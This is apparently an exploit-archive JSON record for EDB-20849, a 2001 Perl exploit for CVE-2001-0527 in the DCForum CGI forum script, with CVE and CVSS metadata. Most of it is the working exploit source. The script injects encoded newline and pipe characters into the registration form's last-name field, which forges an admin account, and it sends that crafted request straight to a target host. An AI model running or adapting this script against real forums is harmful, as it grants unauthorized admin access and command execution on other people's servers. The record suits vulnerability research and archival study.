{"exploit":{"id":"EDB-20849","name":"DCForum 6.0 - Remote Admin Privilege Arbitrary Commands","description":"DCForum 6.0 - Remote Admin Privilege Arbitrary Commands","cves":["CVE-2001-0527"],"author":"Franklin DeMatto","published":"2001-05-08","platform":"cgi","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20849","path":"exploits/cgi/remote/20849.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20849.pl","vulnerabilities":[{"id":"CVE-2001-0527","state":"PUBLISHED","title":null,"titleSource":null,"description":"DCScripts DCForum versions 2000 and earlier allow a remote attacker to gain additional privileges by inserting pipe symbols (|) and newlines into the last name in the registration form, which will create an extra entry in the registration database.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0527","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0527"},"updatedAt":"2024-08-08T04:21:38.591Z","retrievedAt":"2026-11-27T07:10:29.488Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20849.png?v=2","url":"https://exploitbin.com/exploits/EDB-20849","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20849/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20849/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/2728/info\n#\n#DCForum is a commercial cgi script from DCScripts which is designed to facilitate web-based threaded discussion forums.\n#\n#Versions of DCForum are vulnerable to attacks which can yield an elevation of privileges and remote execution of arbitrary commands.\n#\n#DCForum maintains a file containing its user account information, including hashed user passwords and other potentially sensitive information.\n#\n#When a new user account is created, the user's information is written to this file. Fields within each record are delimited by pipe ('|') and newline characters.\n#\n#DCForum fails to properly validate this user-supplied account information. As a result, an attacker can cause a corruption of the script's user records by providing a value for the last name field which includes URL-encoded pipes and newlines. By appending desired values to the last name field, an attacker can insert account information for a new user, and specify admin privileges.\n#\n#This newly-created admin account allows a remote attacker to issue arbitrary commands with the privilege level of the webserver process.\n#\n\n\n# dcgetadmin.pl - (C) 2001 Franklin DeMatto - franklin@qDefense.com\n\n\nuse Getopt::Std;\nuse IO::Socket;\n\ngetopts ('ap');\n\nusage () unless ($#ARGV == 0 || $#ARGV == 1);\nif ($opt_a) { print \"\\n -a not implemented yet\\n\\n\"; exit 1; }\n\n$host = $ARGV[0];\n$uri =  $ARGV[1] ? $ARGV[1] : '/cgi-bin/dcforum/dcboard.cgi';\n\n$username = 'evilhacker' .  ( int rand(9899) + 100);\n$password = int rand  (9899) + 100;\n$hash = $opt_p ? $password : crypt ($password, substr ($password, 0, 2));\n$dummyuser = 'not' . ( int rand(9899) + 100) ;\n$dummypass = int rand (9899) + 100;\n\nprint \"\\n(Debugging info: Hash = $hash    Dummyuser = $dummyuser    Dummypass =\n$dummypass)\\n\";\nprint \"Attempting to register username $username with password $password as admin . . .\\n\";\n\n$sock = IO::Socket::INET->new(\"$host:80\") or die \"Unable to connect to $host: $!\\n\\n\";\n$req = \"GET\n$uri?command=register&az=user_register&Username=$dummyuser&Password=$dummypass&dup_Password=$dummypass\";\n$req .=\n\"&Firstname=Proof&Lastname=Concept%0a$hash%7c$username%7cadmin%7cProof%7cConcept&EMail=nothere%40nomail.com\";\n$req .= \"&required=Password%2cUsername%2cFirstname%2cLastname%2cEMail HTTP/1.0\\015\\012\";\n$req .= \"Host: $host\\015\\012\\015\\012\";\n\nprint $sock $req;\n\nprint \"The server replied:\\n\\n\";\n\nwhile (<$sock>)\n{\n  if (/BODY/) { $in_body = 1; }\n  next unless $in_body;\n  if (/form|<\\/BODY>/) { last; }\n  s/<.+?>//g;\n  print $_ unless (/^\\s*$/);\n}\n  print \"\\nNote: Even if your password is supposed to be e-mailed to you, it should work\nright away.\\n\";\n\n\nsub usage\n{\n  print <<EOF;\ndcgetadmin.pl - (C) 2001 Franklin DeMatto - franklin\\@qDefense.com\n\nUsage: $0 [options] host [path to dcboard.cgi]\n\nOptions:\n   -a to activate the account (for sites that do not activate automatically)\n  NOTE: This option is not yet supported, but should be quite easy to add if you need it\n\n  -p to leave the password in plaintext (necessary when the target is NT)\n\nThe path to dcboard.cgi, if not supplied, is assumed to be /cgi-bin/dcforum/dcboard.cgi\n\nEOF\n  exit 1;\n}","sha256":"ed4b426ec4f6574be639e58b9759ec6fbce8a8c9decc8e1562957ace76df9bc0","bytes":3213,"fetchedAt":"2026-11-27T07:10:25.300Z","encoding":"utf-8 (display only; download retains original bytes)"}